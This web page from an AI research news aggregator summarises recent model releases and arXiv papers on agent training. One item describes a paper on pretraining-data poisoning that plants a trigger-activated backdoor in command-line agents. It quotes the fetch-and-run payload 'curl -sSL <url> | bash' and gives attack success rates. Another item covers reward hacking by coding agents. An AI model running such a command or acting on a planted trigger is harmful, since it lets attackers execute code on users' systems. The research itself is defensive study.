AI Coding Live News

webAI Open-Sources TwIL-8B: An 8.8B Reasoning Model With LiveCodeBench 81.6 and MATH-500 98.2, Under a Non-Commercial License

webAI CEO David Stout announced on X on November 4 (17:37 UTC) that the company is open-sourcing TwIL-8B. The official Hugging Face model card says it is post-trained from IBM Granite 4.2 8B with full-parameter SFT, GRPO/DAPO reinforcement learning and a length-aware RL stage, and ships in balanced and verbose variants. Self-reported scores include LiveCodeBench 81.6 (verbose), MATH-500 98.2 and IFBench 74.4, about 93% and 92% of the best frontier score, while GPQA Diamond is only 70.2. A 4.98 GiB Q4_K_M GGUF runs locally; the license is the webAI Non-Commercial License.

webAI Open-Sources TwIL-8B: An 8.8B Reasoning Model With LiveCodeBench 81.6 and MATH-500 98.2, Under a Non-Commercial License

Key Takeaways

  • TwIL-8B has 8.79B parameters, is built on IBM's ibm-granite/granite-4.2-8b, has a 131,072-token context window and is English-only, text to text.
  • Self-reported scores: MATH-500 98.2, AIME 2025 88.3, LiveCodeBench 81.6 (verbose) and IFBench 74.4 (verbose); GPQA Diamond at 70.2 trails Qwen3.5-9B (81.7) clearly.
  • The balanced variant averages about 19.5k output tokens per AIME 2026 problem, about 38% fewer than Qwen3.5-9B's 31.2k, but still roughly 4x GPT-5.5.
  • All scores are webAI internal evaluations; competitor figures are quoted from public sources and were not re-run. SWE-bench, tool use and agentic tasks were not evaluated.
  • The license is the webAI Non-Commercial License 1.0, so it cannot be used commercially as is; the Q4_K_M GGUF is about 4.98 GiB and runs with llama.cpp.
Read full story
Linked Models & Agents:
⚡ TwIL-8B⚡ Granite 4.2 8B⚡ Qwen3.5-9B⚡ Gemma 4 31B🌐 webAI🌐 IBM

Axion 1.0 Open Agent Foundation Model: Two SFT Stages Plus RL, 35B-A3B Reproduction Checkpoint Under Apache 2.0, Full Recipe Released

arXiv paper 2611.03233 by Yuqi Jia, Yunjie Tian and five co-authors introduces Axion 1.0, an agent foundation model that is open beyond its weights. It uses just two lightweight SFT stages plus reinforcement learning, with no dedicated mid-training, DPO or on-policy distillation, and about 18K SFT trajectories in total. Training code is hosted under the bytedance GitHub organization, and the training data and an Axion 1.0-35B reproduction checkpoint (Qwen3.6-35B-A3B base, 35B total / 3B active, Apache 2.0) are on Hugging Face; weights for the paper's 122B model are listed as coming soon.

Axion 1.0 Open Agent Foundation Model: Two SFT Stages Plus RL, 35B-A3B Reproduction Checkpoint Under Apache 2.0, Full Recipe Released

Key Takeaways

  • A minimal recipe: SFT stage one for self-contained scientific reasoning, stage two for tool use and information seeking, then RL for long-horizon interaction, with 18,363 SFT trajectories and 484 RL tasks
  • The release covers data construction, generation, filtering, verification, prompts and training code (GitHub), not just weights
  • The 35B reproduction checkpoint scores 52.8 on HLE, 60.4 on SEAL-0, 85.0 on FrontierScience Olympiad and 55.0 on FrontierScience Research (HF model card)
  • The paper's 122B model reports 59.0 on HLE with restricted website access and 66.7 on FrontierScience Research; 122B weights are not out yet
  • All scores are self-reported; the HF card lists Claude Opus 5 at 63.6 on HLE, so Axion still trails the strongest closed models
Read full story
Linked Models & Agents:
⚡ Axion 1.0-35B⚡ Axion 1.0-122B⚡ Qwen3.6-35B-A3B🌐 ByteDance🌐 Hugging Face

Deep Principle Open-Sources Hydrogen-1.0, a 753B Science Model Post-Trained From GLM-5.3 on Lab Records, MIT Licensed

Hangzhou-based AI-for-science company Deep Principle released Hydrogen-1.0 on November 2, its first general-purpose scientific model. It post-trains Zhipu's GLM-5.3 with SFT and RL on chemistry, materials and life-science data plus its own lab records and discovery trajectories, and ships about 753B parameters of BF16 weights on Hugging Face under the MIT license. By the vendor's own evaluation it scores 38.3% on FrontierScience-Research versus 33.3% for GPT-6 Astra; none of the results have been independently reproduced yet.

Deep Principle Open-Sources Hydrogen-1.0, a 753B Science Model Post-Trained From GLM-5.3 on Lab Records, MIT Licensed

Key Takeaways

  • Scale: Hugging Face lists about 753B total parameters (BF16, roughly 1.5 TB of weights), glm_moe_dsa architecture, 1M-token context and 128K max output, MIT licensed (download requires accepting HF terms).
  • Benchmarks (vendor-reported): 38.3% on FrontierScience-Research vs 33.3% for GPT-6 Astra; 93.0% on GPQA Diamond, which the company says roughly matches Kimi K3.
  • Internal scenarios (vendor-reported): leads max-thinking GPT-6 Astra by 5.13 points on scientific computing and 4.76 points on forward reaction prediction, but trails it by 3.33 points on NMR structure elucidation.
  • Materials discovery: after five rounds of transition-metal-complex search, the mean best HOMO-LUMO gap reached 4.318 eV vs 3.689 eV for GPT-6 Astra and 3.353 eV for Kimi K3 (official blog).
  • Access: weights on HF and ModelScope, plus NVFP4 (B200/B300) and MXFP4 (MI350X/MI355X) quantized repos; API via NeuroSpark and in-app use in the Mira AI Scientist; tested with SGLang on 8 GPUs.
Read full story
X
Xinyan Hu, Pingbang Hu et al. (Anthropic Fellows Program / Anthropic)arxiv.org·
👀35
🔥82

Anthropic Fellows paper: poisoning 0.1% of pretraining data plants a remote-code-execution backdoor in CLI agents that survives clean SFT, DPO and RL

Researchers from the Anthropic Fellows Program and Anthropic, including Nicholas Carlini and Javier Rando, published "Agentic Backdoors via Pretraining Poisoning" on arXiv. They pretrained three Qwen3-architecture models from scratch at 0.6B, 1.7B and 4B, mixed just 0.1% poisoned documents into the pretraining corpus, and then turned each model into a command-line agent with a fully clean SFT, DPO and GRPO pipeline. The backdoor survived: when the trigger appears, the agent runs a remote-script command like curl -sSL <url> | bash. The 4B model reached a 92.7% Pass@32 attack success rate with an ordinary file-path trigger, while emitting the payload on 0% of clean prompts.

Key Takeaways

  • Poison budget: only 0.1% of a 100B-token pretraining corpus; the attacker needs no access to the model architecture or post-training pipeline (paper)
  • Persistence: the backdoor survives clean SFT, DPO and GRPO (RLVR) post-training and does not lower capability eval scores (paper figures)
  • Success rate: the 4B model hits 92.7% Pass@32 attack success with an ordinary path trigger and 10.5% with a rare-string trigger; payload emission on clean prompts is 0% (paper figures)
  • Scale effect: attack success rises monotonically with model size, and the 4B model stays above zero even at a 0.0005% (1 in 200,000) poison rate
  • Defense: clean data cannot be guaranteed, so the authors point to the action layer, such as sandboxing, least privilege, and allow-lists or human confirmation for risky commands; code is open source (GitHub)
Read full story
Linked Models & Agents:
ADSponsored

ProD: Progress-Aware Distillation Mitigates Stagnation in Small Language Model Agents Across 8 Architectures

While supervised fine-tuning (SFT) distills agentic tool-use capabilities from frontier LLMs into small language models (SLMs, 0.6B to 8B parameters), student agents frequently suffer from 'progress stagnation'—collapsing into repetitive, unproductive tool-calling loops as interaction trajectories extend. In arXiv:2610.19439, researchers introduced Progress-Aware Distillation (ProD). ProD defines a rigorous stagnation scoring formulation that dynamically identifies and penalizes stagnant behavior during student trajectory rollouts via an adaptive SimPO-inspired margin. Experiments across 8 diverse SLMs prove ProD effectively eradicates repetitive loops while boosting task completion efficiency and success rates.

ProD: Progress-Aware Distillation Mitigates Stagnation in Small Language Model Agents Across 8 Architectures

Key Takeaways

  • ProD introduced in arXiv:2610.19439, targeting the pervasive failure mode of progress stagnation in SFT-distilled SLM agents
  • Formulates a rigorous stagnation score, penalizing student-generated unproductive loops through an adaptive, margin-based objective
  • Validated across 8 SLMs spanning 0.6B to 8B parameters, consistently mitigating stagnation across in-domain and out-of-domain benchmarks
  • Substantially reduces wasted token consumption in multi-turn tool interaction while boosting overall task completion rates
Read full story
Linked Models & Agents:

Ending Coding Agent Reward Hacking: CMU's Weak-to-Strong Verifier Hardening Adopted by Terminal-Bench, While Recursive Environment Scaling Boosts SFT by up to 14.6 Points

Tackling reward hacking and benchmark saturation in coding agent environments, CMU researchers introduce Scalable Weak-to-Strong Verifier Hardening (arXiv:2610.15924)—combining an isolated verifier sandbox with an iterative hacker-fixer loop that slashes exploit success across Terminal-Bench, KernelBench, and SETA, and is now officially adopted by Terminal-Bench. Complementing this, Recursive Environment Scaling (RES, arXiv:2610.16397) recursively mutates execution dependencies across 294 tasks—exposing a 57.14-77.14 point drop on Claw-Eval-Live while boosting equal-budget SFT performance by 7.00-14.61 percentage points across all nine model-benchmark pairs.

Ending Coding Agent Reward Hacking: CMU's Weak-to-Strong Verifier Hardening Adopted by Terminal-Bench, While Recursive Environment Scaling Boosts SFT by up to 14.6 Points

Key Takeaways

  • CMU's weak-to-strong verifier hardening combines an isolated sandbox with an iterative hacker-fixer loop across Terminal-Bench, KernelBench, and SETA, and has been adopted by the official Terminal-Bench repo
  • Recursive Environment Scaling (RES) mutates information access, resource relations, and execution dependencies across 294 tasks, dropping model success on Claw-Eval-Live by 57.14-77.14 percentage points
  • With equal trajectory counts, SFT on RES-scaled environments beats original-trajectory SFT across all 9 model-benchmark pairs by +7.00 to +14.61 percentage points
Read full story
Linked Models & Agents:

MLExpert: Open 35B MoE Agentic Model Lifts MLE-Bench Lite Medal Rate from 37.9% to 72.7%, Matching Kimi-K3 and GLM-5.3

Advancing autonomous AI-for-AI (AI4AI) engineering, researchers from Shanghai AI Lab (InternScience) release MLExpert (arXiv:2610.22344), a 35B Mixture-of-Experts agentic model for autonomous machine learning engineering. Powered by the Kaggle-MLE Factory, hierarchical agentic SFT, and Windowed Interaction RL (WIRL), MLExpert boosts average medal rates on MLE-Bench Lite from 37.9% to 72.7%—matching frontier giants like Kimi-K3 and GLM-5.3 while generalizing to agent scaffold optimization.

MLExpert: Open 35B MoE Agentic Model Lifts MLE-Bench Lite Medal Rate from 37.9% to 72.7%, Matching Kimi-K3 and GLM-5.3

Key Takeaways

  • 72.7% medal rate on MLE-Bench Lite: boosts base model performance from 37.9% to 72.7%, matching frontier models Kimi-K3 and GLM-5.3 with a 35B MoE backbone
  • Windowed Interaction RL (WIRL): assigns shared outcome rewards to multi-turn windows between successive experiment results with asynchronous policy updates
  • Cross-domain AI4AI generalization: transfers optimization skills directly to NatureBench Lite, agent scaffold optimization, and algorithm engineering
Read full story

Athanor: 4 Autonomous Claude Opus 5.5 Agents Post-Train Qwen3-4B-Base over 104 Hours, Surpassing the Official Human-Trained Instruct Model

To test whether frontier agents can autonomously conduct end-to-end post-training research, researchers introduce Athanor, an agent-native system for autonomous post-training (AutoPostTrain) on real GPUs. In a 104-hour campaign without human advice or external teacher models, four Claude Opus 5.5 agents—each operating an 8-GPU node—improved raw Qwen3-4B-Base from 15.9 to 67.3 on the dev suite and from 9.2 to 48.2 on an unseen held-out suite, surpassing the official Qwen3-4B-Instruct-2507 (66.5 and 47.9).

Athanor: 4 Autonomous Claude Opus 5.5 Agents Post-Train Qwen3-4B-Base over 104 Hours, Surpassing the Official Human-Trained Instruct Model

Key Takeaways

  • 104-hour autonomous post-training campaign: four Claude Opus 5.5 agents on 8-GPU nodes autonomously manage data curation, SFT, RL algorithm modification, and weight merging
  • Surpasses official human-trained Instruct model: lifts Qwen3-4B-Base to 67.3 (dev) and 48.2 (held-out), beating Qwen3-4B-Instruct-2507 (66.5 and 47.9)
  • Zero external teacher distillation: achieves cross-domain generalist superiority purely through public data recombination, custom RL rollouts, and self-distillation
Read full story
Linked Models & Agents:

AutoEnvScaling: Microsoft and Stanford Automate RL Environment Design via Terminal Agents, Unlocking 25x Data Flywheel

Microsoft Research and Stanford University have unveiled AutoEnvScaling, an automated data flywheel that frames RL environment creation itself as a terminal execution task. A proposer agent builds diverse environments directly from solver rollouts, slashing cost per valid environment by 75% while achieving a 25x higher valid environment yield over prompt-only baselines. Crucially, unifying environment design and solving within a single model enables Recursive Self-Improvement (RSI), yielding +12.2 points on Terminal-Bench 2.1 and doubling scores on Terminal-Bench 4.0.

AutoEnvScaling: Microsoft and Stanford Automate RL Environment Design via Terminal Agents, Unlocking 25x Data Flywheel

Key Takeaways

  • Environment design as a terminal task: shifts RL environment synthesis from manual curation to automated terminal execution, boosting valid yield by 25x
  • Unlocks Recursive Self-Improvement (RSI): enables a single backbone to co-evolve as both environment architect and task solver without human bottlenecks
  • Broad cross-domain generalization: yields a 12.2-point surge on Terminal-Bench 2.1 and doubles Terminal-Bench 4.0 for Qwen3.6-35B-A3B across kernel coding and OS tasks
Read full story

ClawLoop Debuts: Harness-Native Self-Improving Training Loop Enables Teacher-Free Autonomous Agent Evolution

While LLM agents are rapidly deployed into sandbox workspaces with direct shell and filesystem access, post-training methods remain predominantly one-shot and bound by external teacher models. ClawLoop introduces a self-improving, harness-native training loop that operates without external teachers. Through a self-sustaining cycle of task synthesis with difficulty growth, SFT/RL training, and automated behavioral diagnosis, ClawLoop demonstrates consistent empirical gains across SkillsBench, Claw-Eval-Live, and ClawGym-Bench on Qwen3.6-27B, while successfully transferring data to 4B and 9B models.

ClawLoop Debuts: Harness-Native Self-Improving Training Loop Enables Teacher-Free Autonomous Agent Evolution

Key Takeaways

  • Harness-native self-improvement: couples task synthesis, SFT/RL, and behavioral diagnosis in a self-sustaining cycle for shell/sandbox agents
  • Diagnosis-conditioned difficulty growth: leverages failure analysis reports to progressively synthesize challenging yet verifiable workspace tasks
  • Cross-scale data transferability: boosts Qwen3.6-27B across SkillsBench and ClawGym-Bench, while transferring cleanly to 4B and 9B checkpoints
Read full story
Linked Models & Agents:
ADSponsored

ProgramGym Open-Sourced: Scaling 1,648 Verifiable Environments for Long-Horizon Program Reproduction Agents

Current software engineering benchmarks and training pipelines predominantly evaluate coding agents on localized bug fixing within existing repositories (such as SWE-bench) or isolated code snippet generation. They fail to teach agents how to explore unfamiliar reference systems, formulate architectural blueprints, and reproduce complete, multi-file software projects from scratch under long-horizon constraints. Researchers introduce ProgramGym (arXiv:2610.13395, repo: github.com/Acm1011/ProgramGym, dataset: ProgramGym/programgym-1648), an automated framework scaling verifiable training environments for program reproduction agents. ProgramGym consists of Program-Env, a feedback-driven engine that converts open-source repositories into verified runtime sandboxes paired with black-box test suites across C, C++, Go, and Rust (generating ProgramGym-1648), alongside Program-Agent, an iterative workflow enforcing role isolation across Analysis, Implementation, and Review stages with revision management. Fine-tuning Qwen3.8-27B on ProgramGym trajectories raises ProgramBench test pass rates from 34.87% to 42.84% (+7.97 points), outperforming GPT-5.4 under mini-SWE-agent (37.70%). Coupling SFT with the Program-Agent scaffold boosts performance to 56.25%, eclipsing Claude Opus 4.7 (50.90%) and Gemini 3.5 Flash (53.60%), with datasets and codebase open-sourced.

ProgramGym Open-Sourced: Scaling 1,648 Verifiable Environments for Long-Horizon Program Reproduction Agents

Key Takeaways

  • ProgramGym open-sources 1,648 verifiable multi-language environments for whole-program reproduction coding agents
  • Qwen3.8-27B-SFT achieves 42.84% on ProgramBench (+7.97 points), surpassing GPT-5.4 under mini-SWE-agent
  • Coupled with the Program-Agent scaffold, test pass rates reach 56.25%, outperforming Claude Opus 4.7 and Gemini 3.5 Flash
Read full story

NVIDIA and UC Berkeley Unveil Post-Training Performance Predictors for Coding Agents from Base Checkpoints

Agentic post-training (scaling multi-turn RL and SFT) requires massive GPU investments, but AI labs lack reliable heuristics to predict which base model checkpoint possesses the highest potential before committing to multi-million-dollar post-training runs. Cold-start zero-shot evaluations on SWE-bench fail because unaligned base checkpoints cannot emit formatted tool invocations, while single-turn patch benchmarks ignore multi-step state management. Researchers from NVIDIA and UC Berkeley (including Bryan Catanzaro and Ashish Vaswani) present a lookahead evaluation framework (arXiv:2610.10478). By replaying successful post-trained trajectories and rerunning unit tests after every edit, they isolate the 'decisive step' that flips a repository from failing to passing. They introduce three lightweight evaluation screens at this decisive step that require zero cold-start tool calling: Decisive-Action Bits Per Byte (BPB), Patch MCQ, and prefix-conditioned pass@K. Across ten pairs of public base and post-trained models, these screens rank candidate checkpoints in tight agreement with final post-trained SWE-bench Verified pass@1 scores, establishing a low-cost lookahead methodology for model selection.

Key Takeaways

  • NVIDIA and UC Berkeley introduce lookahead screens to predict post-training coding agent performance from base checkpoints
  • Isolates the 'decisive step' that flips test suites to passing, introducing Decisive-Action BPB, Patch MCQ, and prefix-pass@K
  • Ranks base model potential in tight agreement with post-trained SWE-bench Verified pass@1 across 10 model pairs
Read full story
Linked Models & Agents:

Sakana AI Unveils MASS: Recursive Self-Improvement via Multi-Agent Self-Supervision, Boosting Win Rates to 69.9%

When model capabilities exceed human expert evaluative bandwidth, achieving Recursive Self-Improvement (RSI) without external verifiers or compilers becomes the paramount frontier of AGI. While reinforcement learning with verifiable rewards (RLVR) thrives in formal code and math, open-ended research and complex reasoning tasks lack scalar ground truth, and solitary models evaluating their own outputs suffer from homogeneous confirmation bias. Sakana AI introduces MASS (arXiv:2610.12176, project: sakana.ai/mass), an RSI framework anchored in Multi-Agent Self-Supervision. Driven by a single base model (such as Qwen3.6-27B), MASS tasks the model with concurrently acting as task solver, workflow optimizer, and self-evaluator. The framework alternates between evolutionary multi-agent workflow discovery and supervised fine-tuning (SFT) over synthesized trajectories. Across two successive MASS self-evolution cycles, performance per output token increases by 1.2x to 1.6x across open-ended research suites (MLR-Bench, ScienceAgentBench, DSBench, AstaBench). Head-to-head win rates against the base model surge from 53.9% in round 1 to 69.9% in round 2, while a student model trained on multi-agent traces decisively beats a single-agent baseline trained on 1.4x more tokens.

Sakana AI Unveils MASS: Recursive Self-Improvement via Multi-Agent Self-Supervision, Boosting Win Rates to 69.9%

Key Takeaways

  • Sakana AI introduces MASS, using multi-agent self-supervision on a single base model to achieve recursive self-improvement
  • Win rate against base model climbs from 53.9% to 69.9% over two iterations, boosting token reasoning efficiency by 1.2x-1.6x
  • Distillation from multi-agent trajectories outperforms single-agent baselines trained on 1.4x more tokens
Read full story
Linked Models & Agents:

OneSearch-VL: Fudan University Unveils Unified Multimodal Deep Research Agent for Image and Video, Outperforming Qwen3-VL by 20.2 Points

Autonomous deep research agents are expanding beyond text-centric search toward multimodal discovery across high-resolution imagery, complex charts, and long-horizon video. However, existing multimodal models struggle to ground fine-grained visual anchors and bridge perceptual evidence with external search verification. Researchers from Fudan University and collaborating institutions introduce OneSearch-VL (arXiv:2610.12419), a unified multimodal deep research agent for single-image, multi-image, and video environments. OneSearch-VL centers on the Visually Grounded Evidence Graph (VGEG), which explicitly encodes localized visual anchors, entity relationships, source-supported facts, and research operations into a shared dependency topology. Leveraging VGEG, the authors construct OneSearch-VL-SFT-110K and OneSearch-VL-RL-10K datasets alongside an Evidence-aware Visual-Grounded Rubric reward (EVGR) to supervise visual traceability during reinforcement learning. On the newly introduced OneSearch-MI-Bench and OneSearch-Video-Bench, OneSearch-VL-8B outperforms tool-augmented Qwen3-VL-8B by 20.2 and 17.6 percentage points respectively, while setting new state-of-the-art results across seven established image benchmarks and VideoDR, with code fully open-sourced.

Key Takeaways

  • Fudan University releases OneSearch-VL, unifying image and video deep research via Visually Grounded Evidence Graphs (VGEG)
  • Outperforms tool-augmented Qwen3-VL-8B by 20.2 and 17.6 points on multi-image and video benchmarks with 91.8% citation precision
  • Open-sources SFT-110K, RL-10K datasets, and EVGR process rewards, setting an auditable standard for multimodal agents
Read full story
Linked Models & Agents:

WM-VLM: CMU and MBZUAI Probe Internal World Models for Interleaved Visual-Textual Spatial Reasoning

Humans solve complex spatial transformations by mentally simulating physical visual transitions, maintaining visual imaginations to ground multi-step reasoning. In contrast, existing Vision-Language Models (VLMs) tackle spatial questions almost entirely via text-token chains of thought, triggering acute hallucinations when predicting 3D rotations or spatial clearances. Researchers from Carnegie Mellon University and MBZUAI introduce WM-VLM (arXiv:2609.34826), integrating a lightweight world model branch directly into foundation VLMs to synthesize intermediate visual states during inference. The framework adopts a two-stage training paradigm: first training the model to foresee and render verifiable intermediate visual states, and then training it to ground downstream logical deductions upon those synthesized states. Evaluated on rigorous 2D and 3D mental rotation tasks, WM-VLM outperforms standard SFT baselines by up to 39.25 percentage points. Ablations prove that performance collapses when generated visual frames are removed or corrupted, establishing that internal world models provide indispensable spatial cognitive scaffolds.

WM-VLM: CMU and MBZUAI Probe Internal World Models for Interleaved Visual-Textual Spatial Reasoning

Key Takeaways

  • CMU and MBZUAI introduce WM-VLM, equipping VLMs with internal world models for interleaved visual-textual mental simulation
  • Adopts a two-stage training paradigm: synthesizing verifiable intermediate visual states and grounding spatial deduction upon them
  • Outperforms standard SFT baselines by up to 39.25 percentage points on 2D/3D mental rotations, proving causal visual grounding
Read full story